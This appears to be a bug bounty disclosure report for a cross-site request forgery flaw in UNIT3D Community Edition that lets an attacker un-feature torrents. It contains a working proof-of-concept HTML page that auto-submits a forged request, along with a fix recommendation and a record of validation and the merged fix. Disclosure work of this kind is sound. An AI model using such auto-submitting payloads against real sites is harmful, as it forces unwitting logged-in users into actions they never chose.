Cross-Site Request Forgery (CSRF) in hdinnovations/unit3d-community-edition

Valid

Reported on

Sep 23rd 2021


Description

Attacker is able to change a torrents featured state to un-featured if a logged in user visits attacker website.

Proof of Concept

When you logged in open this POC.html in a browser. You can check the torrents state changed to un-featured.

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://unit3d.site/torrents/151/torrent_feature">
    <input type="submit" value="Submit request" />
</form>
<script>
  document.forms[0].submit();
</script>
</body>
</html>

Impact

This vulnerability is capable of forging user to unintentional change torrents state to featured.

Test

Tested on Safari.

Fix

You should set a CSRF token on such GET requests or you can use POST instead of GET then because of cookie SameSite is Lax, request from other origins could not carry cookie.

We have contacted a member of the hdinnovations/unit3d-community-edition team and are waiting to hear back 2 months ago
We have contacted a member of the hdinnovations/unit3d-community-edition team and are waiting to hear back 2 months ago
HDVinnie validated this vulnerability 2 months ago
HDVinnie has been awarded the disclosure bounty
The fix bounty is now up for grabs
HDVinnie confirmed that a fix has been merged on 9d49c5 2 months ago
HDVinnie has been awarded the fix bounty
web.php#L276 has been validated
torrent.blade.php#L686-L696 has been validated